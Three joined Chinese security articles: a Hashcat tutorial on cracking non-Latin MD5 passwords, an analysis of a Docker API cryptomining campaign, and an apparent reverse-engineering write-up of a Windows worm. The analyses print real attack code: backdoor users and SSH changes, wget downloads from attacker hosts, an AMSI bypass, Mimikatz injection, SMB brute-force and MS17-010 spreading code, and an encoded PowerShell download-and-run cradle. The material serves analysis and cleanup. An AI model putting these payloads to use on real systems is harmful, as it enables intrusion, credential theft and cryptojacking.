在这篇文章中，我将给大家演示如何使用Hashcat来破解非英文字符的密码。由于时间有限，我在这里只能给大家演示如何爆破一些常见的非拉丁字符密码，但是我相信整个流程还是可以给大家提供一个可行的思路。本人水平有限，如果有写的不对的地方，欢迎各位大牛指正，希望可以跟大家共同进步！那么话不多说，我们赶紧进入正题。
**
**
**让Hashcat在Mac上跑起来**
假设你的电脑已经安装好git了，那么现在请你打开你的terminal，切换到你想要放置Hashcat项目文件的目录（我直接克隆到了用户根目录下），然后输入下列代码：
git clone https://github.com/hashcat/hashcat.git
此时你的终端界面应该是这样的：
别忘了，想要让Hashcat在Mac上成功跑起来，我们还要安装最新版的OpenCL环境。先在Hashcat目录下创建一个名为“env”的目录（environment），然后继续用git命令将OpenCL克隆到“env”目录下：
mkdir -p hashcat/env
git clone https://github.com/KhronosGroup/OpenCL-Headers.git hashcat/env/OpenCL
命令运行结果如下图所示：
这一系列操作没问题的话，此时你应该可以在磁盘目录下看到Hashcat的项目文件了。别着急，我们还要build一下源码。切换到“hashcat”目录下，然后输入下列命令：
sudo make
请注意，如果你此前没有运行过Xcode的话，系统会提示你要同意Xcode的许可证，同意之后系统会自动Makefile。Build成功后的界面如下图所示：
此时，切换到Hashcat目录下，输入命令
./hashcat --help
如果安装成功，终端将会显示Hashcat的帮助信息：
现在，我们已经成功地让Hashcat在Mac OS X上运行起来了。
**
**
**关于字符的那些事儿**
如果你生活在以英语为主要语言的国家中，那么你肯定会非常熟悉ASCII码了，因为这是一套基于拉丁字母的编码系统。ASCII码使用一个字节编码来表示拉丁字符，即0000
0000-1111
1111，ASCII码用这总共256种组合方式来表示所有的拉丁字符。而在此之后，一种新的字符编码方式诞生了，它就是UTF-8。透露一下，我们今天的密码破解也是基于UTF-8编码来实现的。
目前，绝大多数的Web应用和网页都会采用UTF-8来进行字符编码。UTF-8字符编码可以使用1-4个字节来编码，即0000 0000-0000 0000
0000 0000 0000 0000 0000
0000，其中也包含了ASCII码的单字节区间，因此我们在Hashcat中进行密码爆破的时候，应当考虑到这一因素。
关于字符编码的问题我在这里就不多说了，反正你总有一天会被编码问题弄疯掉的…我们现在只关心在这篇文章中会接触到的汉语、韩语、以及俄语的常用字符编码。
**
**
**打好基础，稳步前进**
首先，我们以俄文（西里尔）字母来进行讲解。为什么呢？难道我们不应该以中文开始吗？别着急，咱们慢慢来。请各位先看下面这张UTF-8编码表：
请注意第三列，西里尔（cyrillic）字母的大写字母“A”可以用十六进制的“d0
90”来表示，这也就说明西里尔字母的“A”可以用两个字节的十六进制码来表示，写成二进制的形式即为“1101 0000 1001
0000”。此时你就会发现，在ASCII码中的“A”为“41”（0100 0001），而UTF-8编码下的西里尔字母“A”为“d0 90”（ 1101
0000 1001
0000）。仔细观察之后你应该会发现，西里尔字母“A”的十六进制编码由两部分组成，前半部分为“d0”，即我们所谓的基础码；后半部分为“90”，即字符码。
我们可以从这张西里尔字母的UTF-8编码表［[传送门](http://www.utf8-chartable.de/unicode-utf8-table.pl?start=1024&number=512)］中看到，西里尔字母的基础码范围在d0-d4之间，即d0、d1、d2、d3、d4，而可能的字符码范围在80-bf之间。请注意！这一点非常的重要，因为它将成为我们通过UTF-8编码来破解其他语言密码的基石。
**
**
**Hashcat能为我们做什么？**
Hashcat提供了一个参数“–hex-charset”,这个参数可以允许用户将待破解的数据以十六进制数值的形式输入给Hashcat。这是一个非常有用的参数，当你在命令中使用了这个参数之后，Hashcat会将你自定义的字符集合当作十六进制数值来处理，而不会将你的输入数据当作普通的英语字符。
比如说，在“–hex-charset”模式下，你将“-1”参数的值设置成了“ABBBBC”。那么Hashcat将会把“AB”、“BB”和“BC”分别当作三个字符，然后对这些十六进制数值所代表的明文数据进行暴力破解。如果此时将“-2”参数设置成了“808182”，那么在仅有“-1”和“-2”参数的情况下，Hashcat首先会比较“AB
80”的计算结果是否与待破解密码相匹配，如果不匹配，则比较“AB 81”、“AB 82”、“BB 80”、“BB
81”…以此类推，对所有可能的情况进行排列组合。
当然了，UTF-8编码是可变长度的。在俄语和阿拉伯语中，其每一个字符的UTF-8编码长度为两个字节，此时我们就需要使用到“-2”参数。还记得我们之前所说的基础码和字符码么？此时“-1”的值就是基础码，而“2”的值就是字符码。但是，在中文、韩文和日文之中，每一个字符的UTF-8编码需要占用三个字节，这也就意味着，我们需要使用到“-3”参数。原理其实是一样的，待会儿我会给大家演示。
接下来，我们还要使用到“-i”参数。比如说在破解俄语密码的情况下，因为我们已经设置好了“-1”和“-2”参数，那么在“-i”参数中，我们就要设置需要破解的密码长度。比如说，我们要破解的俄文单词由三个字母组成，那么“-i”参数就应该设置为“?1?2?1?2?1?2”。每个“?1?2”代表一个西里尔字母，我们假设密码由三个字母组成，所有就需要三个“?1?2”。而在单个字符由三字节UTF-8编码组成的情况下（例如中文），我们假设待破解的密码由两个汉字组成，那么“-i”参数应该为“?1?2?3?1?2?3”，因为每个“?1?2?3”代表一个汉字。
**
**
**测试前的准备工作**
首先，我们要计算出待破解密码的md5值。在此给大家提供两种方法，一种是使用终端的md5命令，另外一种是通过HashMaker。
**方法一** ：md5 –s [密码字符串]
比如说，设置的密码为“安全”，那么我现在就要计算“安全”这个字符串的md5值：
**方法二**
：HashMaker［[下载地址](https://itunes.apple.com/us/app/hashmaker/id509733654?mt=12)］
为了方便进行测试，我们还要生成一些其他没有实际作用的md5值。除了第三行的md5值之外，其他都是一些其他字符的md5。
其他语言的md5生成方法是相同的，在此不再进行赘述。
**
**
**中文密码破解**
相信大家最感兴趣的应该是中文密码的破解了，所以在此先演示中文密码的破解方法。实际上，破解原理和方法在文章中已经介绍到了，各种语言的破解过程其实也大同小异。
汉字的UTF-8编码占三个字节，例如汉字“一”的UTF-8编码为“E4 B8
80”。根据常用汉字的UTF-8编码［[编码表传送门](http://memory.loc.gov/diglib/codetables/9.1.html)］，“-1”参数应该设置成“e4e5e6e7e8e9”，“-2”和“-3”参数均为“808182838485868788898a8b8c8d8e8f909192939495969798999a9b9c9d9e9fa0a1a2a3a4a5a6a7a8a9aaabacadaeafb0b1b2b3b4b5b6b7b8b9babbbcbdbebf”，这个编码范围足够覆盖常用的汉字了，其中还包括常用繁体字。
为了测试繁体字密码是否能够正常破解，于是我们还要在zh_cypher.txt中添加繁体字符串“數據”的md5：
除此之外，还有一些其他的设置参数需要简单介绍一下：
–pot-disable：禁止Hashcat将已破解的哈希添加到potfile中，添加该参数可以避免测试过程中出现某些问题。
–outfile-autohex-disable：将破解出的密码结果以明文形式显示出来，如果不输入这个参数的话，密码破解的结果将以十六进制的形式输出。如果密码结果输出为乱码的话，可以去掉该参数，以便得到密码的原始十六进制数值。
-m 0：设置待破解数据的哈希类型，“0”即为MD5。
-a 3：设置攻击模式，“模式3”代表暴力破解。
**_cypher.txt：存放待破解密码哈希的文件。
在破解中文的示例中，我们的参数命令应该如下所示（假设待破解密码为两个汉字）：
./hashcat --potfile-disable --outfile-autohex-disable -m 0 -a 3 ../zh_cypher.txt --hex-charset -1 e3e4e5e6e7e8e9 -2 808182838485868788898a8b8c8d8e8f909192939495969798999a9b9c9d9e9fa0a1a2a3a4a5a6a7a8a9aaabacadaeafb0b1b2b3b4b5b6b7b8b9babbbcbdbebf -3 808182838485868788898a8b8c8d8e8f909192939495969798999a9b9c9d9e9fa0a1a2a3a4a5a6a7a8a9aaabacadaeafb0b1b2b3b4b5b6b7b8b9babbbcbdbebf -i ?1?2?3?1?2?3
运行结果如下图所示：
我们可以看到，Hashcat已经将“安全”和“數據”这两个密码成功破解出来了。接下来，给大家演示韩语和俄语密码的破解。
**
**
**韩语密码破解**
假设待破解密码为“”，中文即“安全”的意思。该字符串由两个韩语字组成，每个韩语字的UTF-8编码占三个字节［[编码表传送门](http://memory.loc.gov/diglib/codetables/9.3.html)］。korean_cypher.txt文件内容如下图所示：
参数命令如下：
./hashcat --potfile-disable --outfile-autohex-disable -m 0 -a 3 ../korean_cypher.txt --hex-charset -1 eaebecedee -2 808182838485868788898a8b8c8d8e8f909192939495969798999a9b9c9d9e9fa0a1a2a3a4a5a6a7a8a9aaabacadaeafb0b1b2b3b4b5b6b7b8b9babbbcbdbebf -3 808182838485868788898a8b8c8d8e8f909192939495969798999a9b9c9d9e9fa0a1a2a3a4a5a6a7a8a9aaabacadaeafb0b1b2b3b4b5b6b7b8b9babbbcbdbebf -i ?1?2?3?1?2?3
运行结果如下图所示：
**
**
**俄语密码破解**
虽然俄语字母是西里尔字母的变体….［[西里尔字符UTF-8编码表](http://www.utf8-chartable.de/unicode-utf8-table.pl?start=1024&number=512)］
假设待破解密码为“сеть”，中文即“网络”的意思。该字符串由四个西里尔字母组成，cyrillic_cypher.txt文件内容如下图所示：
参数命令如下：
./hashcat --potfile-disable --outfile-autohex-disable -m 0 -a 3 ../cyrillic_cypher.txt --hex-charset -1 d0d1d2d3d4 -2 808182838485868788898a8b8c8d8e8f909192939495969798999a9b9c9d9e9fa0a1a2a3a4a5a6a7a8a9aaabacadaeafb0b1b2b3b4b5b6b7b8b9babbbcbdbebf -i ?1?2?1?2?1?2?1?2
破解结果如下：
**
**
**注意事项**
如果Hashcat无法输出正确的明文密码时，可以去掉命令中的“–outfile-autohex-disable”参数。比如说，以韩文密码的破解为例，去掉该参数之后，运行结果如下图所示：
那么破解结果即为“ec 95 88”和“ec a0 84”这两个字。有python基础的同学可以直接用python将其进行转码：
结果一目了然。为了方便大家查询各种语言文字的UTF-8编码，我给大家推荐一个网站［[传送门](http://www.utf8-chartable.de/)］。
**
**
**总结**
暴力破解的基本思想就是对所有可能出现的情况进行一一确认，直到所有的情况都验证完毕。所以如果密码破译者可以利用社会工程学等技巧获取到有关密码的更多信息，那么将会极大地提高密码破译的速度。不过大家也清楚，任何密码的破解都只是时间问题…
无论是阿拉伯语也好，日语也罢，我们都可以利用这样的方法来破解这些非英文字符的密码。那么，阿拉伯语密码和日语密码的破解就留给各位同学当作家庭作业啦！ | 社区文章 |
研究人员近期发现有滥用运行错误配置Docker的案例。恶意活动主要扫描Docker engine daemon使用的TCP
2375和2376端口。最后会尝试在错误配置的系统中应用加密货币挖矿恶意软件。
Docker可以在操作系统层实现虚拟化，也叫做容器化。Docker
API允许用户像本地Docker客户端一样地控制Docker镜像。因此并不推荐为外部访问打开API端口，因为黑客可能会滥用这一配置错误进行恶意活动。
Docker引擎本身并没有被黑或被滥用，Docker企业级平台也不受影响。研究人员至少一少部分Docker社区版本被滥用。事实上，Docker技术有一些用户可以开启和配置的安全特征来保护容器和负载。Docker也有工具、文档、指南来帮助确保Docker社区和企业级平台的安全。
研究发现，Docker
API端口暴露是用户端配置错误造成的，而且配置错误是在管理级手动设置的。配置错误带来威胁的案例不在少数，但对企业来说是一个大的威胁。搜索发现许多Docker主机都存在配置错误的情况，尤其是中国、美国、法国、新加坡、德国、英国、日本、爱尔兰等。这些暴露的系统主要运行Linux操作系统。Linux中的daemon是需要手动配置的，而错误配置在不同版本中都普遍错在，超过一半暴露的主机运行version
18.06.1-ce，这也是相对比较新的一个Docker版本。
图 1-1: 端口2375和2375上的配置错误滥用和恶意活动时间线
图 1-2: 端口2375和2375上的配置错误滥用和恶意活动国家分布
# 包追踪和payload分析
图 2: Docker引擎配置错误攻击的感染链
研究人员发现攻击者可以通过暴露的API端口创建Docker容器，并在被入侵的Docker实例上运行命令：
* 用系统包管理器下载`wget`包；
* 用`wget`下载自动应用脚本；
* 将`DOS`格式的脚本转化为`Unix`格式；
* 设置脚本的可执行权限；
* 运行脚本（`auto.sh`）。
图 3:通过暴露的Docker API端口创建docker container
研究人员发现`auto.sh`文件是一个门罗币挖矿脚本，含有以下命令：
* 创建用户`richard`和`frank`，并授予`root`权限；
* 重新配置`SSH daemon`来运行进行密码认证，重启`SSH daemon`；
* 用系统包管理器安装以下包：`systemd`(Linux 系统和服务管理器),`masscan`(网络端口扫描器), 和`iproute2`(Linux网络工具)；
* 下载并执行其他脚本和文件来确保驻留。
* 通过杀掉非门罗币挖矿的进程、关闭非门罗币挖矿进程的自动启动、开始新的门罗币挖矿可执行文件（`xm.services`）、开启挖矿进程自动启动等方式回收算力。
* 以50000个包每秒的速度扫描`2375/2376`端口，并保存结果到`local.txt`文件。
* 通过自动复制工具到之前扫描发现的主机中来进行传播。
* 检查门罗币挖矿进程的驻留，如果未运行就开始该进程。
下面的命令用于创建用户`richard`和`frank`，并授予root权限：
useradd -m -p ‘xxx’ richard
useradd -m -p ‘xxx’ frank
adduser -m -p ‘xxx’ frank
adduser -m -p ‘xxx’ richard
usermod -aG sudoers frank;
usermod -aG root frank;
usermod -aG sudoers richard;
usermod -aG root richard;
sudo adduser frank sudo;
sudo adduser richard sudo;
下面的命令用于重新配置SSH:
sed -i ‘s/PasswordAuthentication no/PasswordAuthentication yes/g’ #mkdir /.tmp/etc/ssh/sshd_config;
/etc/init.d/ssh restart;
/etc/init.d/sshd restart;
/etc/rc.d/sshd restart;
下面的命令用于安装其他的系统包：
if [ $(dpkg-query -W -f=’${Status}’ systemd 2>/dev/null | grep -c “ok installed”) -eq 0 ];
then
apt-get install systemd -y;
yum install systemd -y;
fi;
if [ $(dpkg-query -W -f=’${Status}’ masscan 2>/dev/null | grep -c “ok installed”) -eq 0 ];
then
apt-get install masscan -y;
yum install masscan -y;
fi;
if [ $(dpkg-query -W -f=’${Status}’ iproute2 2>/dev/null | grep -c “ok installed”) -eq 0 ];
then
apt-get install iproute2 -y;
yum install iproute2 -y;
fi;
下载其他脚本和文件用于驻留：
curl -s hxxp://X.X.X.163/k.php;
wget hxxp://X.X.X.163/data.cfg -O /data.cfg;
wget hxxp://X.X.X.163/xm -O /xm;
wget hxxp://X.X.X.163/xm.service -O /xm.service;
wget hxxp://X.X.X.163/test.sh -O test.sh;
wget hxxp://X.X.X.163/test3.sh -O test3.sh;
sleep 2s;
执行其他的脚本和可执行文件：
chmod 777 /xm;
chmod 777 test.sh;
chmod 777 test3.sh;
sleep 2s;
杀掉非门罗币挖矿的进程、关闭非门罗币挖矿进程的自动启动、开始新的门罗币挖矿可执行文件（`xm.services`）、开启挖矿进程自动启动回收算力所用的代码：
killall xmrig;
killall proc;
killall minergate-cli;
killall xmr-stak;
扫描网络并将结果保存在`local.txt`使用的代码：
masscan “$@” -p2375,2376 –rate=50000 -oG local.txt;
传播使用的代码：
sudo sed -i ‘s/^Host: \([0-9.]*\).*Ports: \([0-9]*\).*$/\1:\2/g’ local.txt;
sudo sh test3.sh local.txt;
检查门罗币挖矿检查驻留和运行的代码：
ps cax | grep xm > /dev/null
if [ $? -eq 0 ]; then
echo “Process is running.”
else
echo “Process is not running.”
cp /data.cfg data.cfg
cp /xm xm
./xm -c data.cfg
/xm -c data.cfg
cd /
/xm -c data.cfg
echo “BAM!.”
fi;
# 早期的Docker API滥用
Docker API滥用并不是第一次出现，2017年初研究人员就遇到过类似的攻击活动。当时攻击者发现配置错误的Docker
API用于外部访问的端口是4243。在成功创建Docker容器后，攻击者在被入侵的系统中应用了其他的SSH
key，并安装了DDoS僵尸和其他工具、脚本来确保僵尸主机能够在系统重启后自动启动。
因为Docker实例中没有配置认证，因此攻击者可以直接运行下面的命令来创建一个Docker容器。
curl -H “Content-Type: application/json” -d ‘{“Image”: “ubuntu”, “Cmd”: [“/bin/bash”]}’ -X POST hxxp://X.X.X.X:4243/v1.19/containers/create
而且攻击者可以通过下面的方式来连接到Docker以获取shell权限：
POST /v1.19/containers/<container_id>/attach?stderr=1&stdin=1&stdout=1&stream=1″
其实有许多的方法可以预防此类攻击。最好就是不要暴露Docker REST API端口。Docker系统都建议：
level=warning msg=”/!\\ DON’T BIND ON ANY IP ADDRESS WITHOUT setting -tlsverify IF YOU DON’T KNOW WHAT YOU’RE DOING /!\\”
如果必须要从外部访问`Docker RESTful API`，最好启用TLS认证。
# 最佳实践
Docker安全最佳实践：
* 增强安全态势。互联网安全中心发布了参考可以帮助系统管理员和安全团队建立一个benchmark来确保Docker引擎安全。
* 确保容器镜像经过认证和签名，并且来自信任的注册表（Docker Trusted Registry）。自动镜像扫描工具可以帮助改善开发过程。
* 最小权限原则。限制对daemon的访问，加密用于连接网络的通信协议。Docker在保护daemon socket上也发布了指南。
* 合理配置容器允许使用的资源量。
* 启动Docker内置的安全特性来帮助应对攻击。
<https://blog.trendmicro.com/trendlabs-security-intelligence/miscon图d-container-abused-to-deliver-cryptocurrency-mining-malware/> | 社区文章 |
可以按照分析的清理就行，不是很难，已经全部分析完了，包括本地文件和云端的部分样本。病毒不是很难，这病毒最牛逼的地方在于，自动化扫描攻击。通过cmd开启65531
32 33端口，来标记该机器是否已经被感染。
分析该样本需要先看一下powershell反混淆。地址是<http://rvasec.com/slides/2017/Bohannon_Daniel--RVAsec_2017.pptx，下载ppt学习一下就行>
### 1\. powershell作用。
关闭amis（防病毒接口）
`[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$true)`，具体可以参考
<https://www.anquanke.com/post/id/162924>
Get-Win32Types函数的作用
通过分析可知，该函数的作用时通过powershell，手工构造一个pe文件。例如
${TYpEBUiLdER} = ${MOdULEbUIldEr}.DefineEnum(('SubSystemType'), ('Public'), [UInt16])
${tyPeBuiLDEr}.DefineLiteral(('IMAGE_SUBSYSTEM_UNKNOWN'), [UInt16] 0) | Out-Null
${tYpEbUILdER}.DefineLiteral(('IMAGE_SUBSYSTEM_NATIVE'), [UInt16] 1) | Out-Null
${TypeBuILdER}.DefineLiteral(('IMAGE_SUBSYSTEM_WINDOWS_GUI'), [UInt16] 2) | Out-Null
${TYpeBuildER}.DefineLiteral(('IMAGE_SUBSYSTEM_WINDOWS_CUI'), [UInt16] 3) | Out-Null
${TYPebUiLDer}.DefineLiteral(('IMAGE_SUBSYSTEM_POSIX_CUI'), [UInt16] 7) | Out-Null
${TYPeBUiLDER}.DefineLiteral(('IMAGE_SUBSYSTEM_WINDOWS_CE_GUI'), [UInt16] 9) | Out-Null
${TyPebuILdEr}.DefineLiteral(('IMAGE_SUBSYSTEM_EFI_APPLICATION'), [UInt16] 10) | Out-Null
${TyPEbUIlDEr}.DefineLiteral(('IMAGE_SUBSYSTEM_EFI_BOOT_SERVICE_DRIVER'), [UInt16] 11) | Out-Null
${TypEBUiLdER}.DefineLiteral(('IMAGE_SUBSYSTEM_EFI_RUNTIME_DRIVER'), [UInt16] 12) | Out-Null
${tyPeBUiLDer}.DefineLiteral(('IMAGE_SUBSYSTEM_EFI_ROM'), [UInt16] 13) | Out-Null
${TyPebuIlDer}.DefineLiteral(('IMAGE_SUBSYSTEM_XBOX'), [UInt16] 14) | Out-Null
具体可以参考 <https://docs.microsoft.com/en-us/windows/desktop/debug/pe-format，这里不在详述。>
* Get-Win32Constants 函数的作用，该函数的作用是设置刚才构造的PE文件的值。
* Get-Win32Functions函数 该函数作用是加载系统DLL中的函数，方便powershell调用系统函数
* Sub-SignedIntAsUnsigned函数 该函数是将有符号的int相减，并将结果转换为无符号的int
* Add-SignedIntAsUnsigned函数 该函数是将有符号的int相加，并将结果转换为无符号整数
* Compare-Val1GreaterThanVal2AsUInt函数 比较两个整数是否相等
* Convert-UIntToInt函数 无符号整数转换有符号整数
* Test-MemoryRangeValid函数 测试申请的内存区域是否可用
* Write-BytesToMemory函数 将bytes写入内存中
* Get-ProcAddress 相当于直接调用GetProcAddress 函数,检索指定的动态链接库(DLL)中的输出库函数地址
* Enable-SeDebugPrivilege 启动给定进程的sedebug权限。该ps文件向内存释放mimikatz的pe可执行文件后，向这个被释放的线程开启sedebug权限，不然mimiakatz是无法运行的
* Invoke-CreateRemoteThread 调用其他进程的线程
其他一些函数，大多数是获取PE文件头，倒入表 导出表的函数了
main函数很简单，从第2644行开始。前几行主要作用是要执行什么命令。pebYtes64这个变量中存储的是mimikatz经过base64编码后的内容。随后判断一下computername，去分别执行核心功能REMOtEsCRiPTBlOCK的代码。这个我没看出来有什么区别。
核心功能REMOtEsCRiPTBlOCK，的main函数在2468行。该函数的作用是向指定进程中注入mimikatz，然后在被注入的进程中执行mimikatz。推测小黑可能是在网上找到的使用脚本，参照<https://github.com/clymb3r/PowerShell/blob/master/Invoke-Mimikatz/Invoke-Mimikatz.ps1，做了一下简单的混淆。可以看出混淆只是将关键字改成字符串拼接或者大小写混用。没有实质性变化>
该powershell的危害：
1. 通过mimikatz读取系统密码和系统可能保存的私钥，方便做横向移动
2. 收集系统信息
除此之外，该powershell文件中释放的mimikatz没有落地，只在内存中运行，也没有留下后门等。
### 2\. svchost2.exe
拖到IDA，发现这个exe的作用只是启动一个名叫Ddriver，然后调用`signed int sub_40E8F0`这个函数
在这个函数中，首先调用`sub_40E3D0`，然后调用`sub_40D280`这个函数，写入一个`C:\\windows\\temp\\ttt.exe`这个文件
然后回到`sub_40E3D0`，执行`cmd /c taskkill /f /im svhost.exe /im svhhost.exe /im
svvhost.exe & move /y c:\\windows\\temp\\svvhost.exe c:\\windo"
"ws\\temp\\svchost.exe & del c:\\windows\\system32\\svhhost.exe & del
c:\\windows\\syswow64\\svhhost.exe`
就是调用taskkill干掉svhost，然后删除。而windows中正确的名字是svchost，故意是干掉竞争对手吧。随后将`c:\\windows\\temp\\svvhost.exe`移动到
`c:\\windo" "ws\\temp\\svchost.exe`
，伪造svchost。这里推荐老哥想一下办法，修复就行。然后又通过wmic，删掉svhhost进程。
执行如下cmd `cmd /c wmic process where \"ExecutablePath like '%%drivers%%' and
name='taskmgr.exe'\" delete & wmic process where \"" "ExecutablePath like
'%%drivers%%' and name='svchost.exe'\" delete & wmic process where
\"ExecutablePath like '%%emp%" "%' and name='svchost.exe'\" delete`
删除windows任务管理器，干掉可执行路径在driver和temp中的svchost，估计是为了更好的隐藏病毒本体吧
执行如下cmd `cmd /c netsh interface ipv6 install&netsh firewall add portopening
tcp 65532 UDP&netsh interface portproxy add v4tov" "4 listenport=65532
connectaddress=1.1.1.1 connectport=53&netsh firewall add portopening tcp 65531
UDP2&netsh interfa" "ce portproxy add v4tov4 listenport=65531
connectaddress=1.1.1.1 connectport=53&netsh firewall add portopening tcp 65"
"533 ShareService`
解释一下 首先安装ipv6，然后设置防火墙打开udp 65532，然后设置v4tov4，也就是ipv4 代理 ，具体参见
<https://www.cnblogs.com/xbblogs/p/7118203.html>
随后就是设置一些乱七八糟的东西。推荐老哥重点看一下`C:\\windows\\system32中`是否有svhost这个文件，这个是病毒哈。
然后设置计划任务，代码贴出来，老哥根据这个删除就行 `cmd /c start /b sc start Schedule&ping localhost&sc
query Schedule|findstr RUNNING&&(schtasks /delete /TN %s /f&scht" "asks
/create /ru system /sc MINUTE /mo 50 /ST 07:00:00 /TN %s /tr \"cmd.exe /c
%s\"&schtasks /run /TN %s`
然后设置注册表，位置贴出来，老哥删除即可`Software\\Microsoft\\Windows\\CurrentVersion\\Run`，看一下在这个子目录中又没有可疑地key，应该是Driver。删除就行
回到 `sub_40E8F0`中，这里主要是启动任务啥的，看图，删除就行
scvhost2的危害：
1. 一大堆落地文件，修改注册表，计划任务，建议删除
### 3\. svchost1 分析
这个8MB的exe文件一看就不是好人。先扔到IDA中，发现有python字样。查看string，发现py2exe。这就说明该exe有很大几率是使用python写成的，打包为exe。我们可以使用unpy2exe这个工具还原python代码,参考
<https://github.com/matiasb/unpy2exe。然后还原PYC文件就行，>
vi看一下还原的文件，其实就是一个python扫描MS17-010的脚本。
附件是还原过后的py文件，不允许上传py文件，所以我改成txt了，自行下载后后缀改成py就行
该py首先会绑定本机的60124端口。推测是做互斥体。系统中只能允许运行一个扫描工具。
代码从1090行开始，首先检测如果本机存在k8h3d这个用户，则删除掉。然后设计扫描计划任务，如果本机已经被感染，则读取本地病毒文件，如果没有被感染，则从云端下载病毒代码，然后准备开始传播。
首先通过`wmic ntdomain get
domainname`，检测一下是否加域。如果加域的话，将域的用户名和密码加入到破解口令列表中。这个列表中存储着常见的弱口令
然后通过`findip`这个函数，获取主机的ip，网段一类的信息。然后调用scansmb这个函数，这个函数调用`scan2`函数去检测目标是否开放445。病毒会打开65533端口，如果被扫描的机器打开了65533端口，那就说明已被感染。随后调用`validate`这个函数
`validate`函数主要的作用是，通过弱口令密码表，爆破SMB服务。爆破成功的话，将该扫描工具复制到被攻击的机器上运行。
def validate(ip):
for u in userlist2:
for p in passlist:
if u == '' and p != '':
continue
for d in domainlist:
if PSEXEC(ee2, dl, 'cmd.exe /c c:\\windows\\temp\\svchost.exe', u, p, d).run(ip):
print 'SMB Succ!'
return
这是入侵的一种。第二种是通过findip获取网段
ip信息后，调用check_thread这个函数去打ms17-010。所以你会发现这段py代码其实就是python版ms17010的攻击代码，参见<https://github.com/worawit/MS17-010/blob/master/zzz_exploit.py>
入侵成功后，会在目标机器上执行smb_pwn函数中的代码。直接吧攻击代码贴出来，大家就知道怎么解决这个病毒了
def smb_pwn(conn, arch):
smbConn = conn.get_smbconnection()
if os.path.exists('c:/windows/system32/svhost.exe'):
eb = 'c:\\windows\\system32\\svhost.exe'
if os.path.exists('c:/windows/SysWOW64/svhost.exe'):
eb = 'c:\\windows\\SysWOW64\\svhost.exe'
if os.path.exists('c:/windows/system32/drivers/svchost.exe'):
eb = 'c:\\windows\\system32\\drivers\\svchost.exe'
if os.path.exists('c:/windows/SysWOW64/drivers/svchost.exe'):
eb = 'c:\\windows\\SysWOW64\\drivers\\svchost.exe'
service_exec(conn, 'cmd /c net share c$=c:')
smb_send_file(smbConn, eb, 'c', '/installed.exe')
if os.path.exists('c:/windows/temp/svvhost.exe'):
ee = 'c:\\windows\\temp\\svvhost.exe'
if os.path.exists('c:/windows/temp/svchost.exe'):
ee = 'c:\\windows\\temp\\svchost.exe'
smb_send_file(smbConn, ee, 'c', '/windows/temp/svchost.exe')
bat = 'cmd /c c:\\installed.exe&c:\\installed.exe&echo c:\\installed.exe >c:/windows/temp/p.bat&echo c:\\windows\temp\\svchost.exe >>c:/windows/temp/p.bat&echo netsh interface ipv6 install >>c:/windows/temp/p.bat &echo netsh firewall add portopening tcp 65532 DNS2 >>c:/windows/temp/p.bat&echo netsh interface portproxy add v4tov4 listenport=65532 connectaddress=1.1.1.1 connectport=53 >>c:/windows/temp/p.bat&echo netsh firewall add portopening tcp 65531 DNSS2 >>c:/windows/temp/p.bat&echo netsh interface portproxy add v4tov4 listenport=65531 connectaddress=1.1.1.1 connectport=53 >>c:/windows/temp/p.bat&echo if exist C:/windows/system32/WindowsPowerShell/ (schtasks /create /ru system /sc MINUTE /mo 50 /st 07:00:00 /tn "\\Microsoft\\windows\\Bluetooths" /tr "powershell -ep bypass -e SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AdgAuAGIAZQBhAGgAaAAuAGMAbwBtAC8AdgAnACsAJABlAG4AdgA6AFUAUwBFAFIARABPAE0AQQBJAE4AKQA=" /F) else start /b sc start Schedule^&ping localhost^&sc query Schedule^|findstr RUNNING^&^&^(schtasks /delete /TN Autocheck /f^&schtasks /create /ru system /sc MINUTE /mo 50 /ST 07:00:00 /TN Autocheck /tr "cmd.exe /c mshta http://w.beahh.com/page.html?p%COMPUTERNAME%"^&schtasks /run /TN Autocheck^) >>c:/windows/temp/p.bat&echo net start Ddriver >>c:/windows/temp/p.bat&echo for /f %%i in (\'tasklist ^^^| find /c /i "cmd.exe"\'^) do set s=%%i >>c:/windows/temp/p.bat&echo if %s% gtr 10 (shutdown /r) >>c:/windows/temp/p.bat&echo net user k8h3d /del >>c:/windows/temp/p.bat&echo del c:\\windows\\temp\\p.bat>>c:/windows/temp/p.bat&cmd.exe /c c:/windows/temp/p.bat'
service_exec(conn, bat)
危害：
1. 自动化扫描攻击，主动攻击局域网中其他的主机
下面说一下怎么清除这个病毒：
自己看看smb_pwn函数中的代码，删除相关落地的文件就行
下面说一下云端代码，首先去<http://v.beahh.com/v下载powershell代码，该代码经过gzinflate(base64_decode编码，所以写一段php解密，解密后的内容如下>
.( $Env:COMSpEc[4,15,25]-jOIn'')( ((("{4}{28}{19}{23}{15}{46}{38}{27}{56}{47}{10}{62}{35}{29}{59}{16}{60}{0}{34}{55}{37}{13}{57}{52}{6}{50}{18}{61}{2}{36}{43}{45}{53}{22}{26}{31}{51}{1}{49}{21}{20}{54}{14}{7}{5}{40}{17}{58}{25}{30}{3}{39}{42}{24}{63}{11}{44}{8}{41}{32}{48}{12}{9}{33}" -f'JUpnV+WdSzp2k+','fYruj1+8On39Ff2ieKsA1nmzVgFcFtkCc8Sz3dTE1iti1d9/796yuKIJolc','BPRvR//YReMbxC','L','Invoke-Expression {1}(New-','/w/yMT','34O1lbfraf4uL8t83ozxm+3gcFkVNFdFuV','qzK8Wo1+2lwJLFOj2cUWFypE6P9Ps+e/hT4Zud++tknKWNrZENYH9y0FNb/Rfn2LRTo+vpimZ1fLKvZev4DZn0CYbm','/','ion.CompressionMode]::Decompress)), [Text.Encoding]:','N9k9mr86ySXmapveqn/x9jus03Uo/Su+kdx7e+/6rbD793vc/f3H26s3r743u7N2XTz452Ndf7uknW1un0+NyldfjOx//zMejj19effWx99Hv9vHozsPdXX1p','/S+/9/HW1p2','0})))), [IO.Compress','7O/rd2aF63Vnlevn706PuzLK/nb8Y0Qv2N5qC5fv09','J5','rt]::Fr','qGf5dvaQPty6WRd2+5q+uqqf0+','3oIFNKv2ydf/ku','XbQYz6al',' IO.Compr','yR','yF+pYlui/m0Pn79pfb0miaxzWiOvuSuvqu8YPoBuT9riwlAfEL','1/5z7Nz','ession.DeflateStream ({1}(New-Object IO.MemoryStream 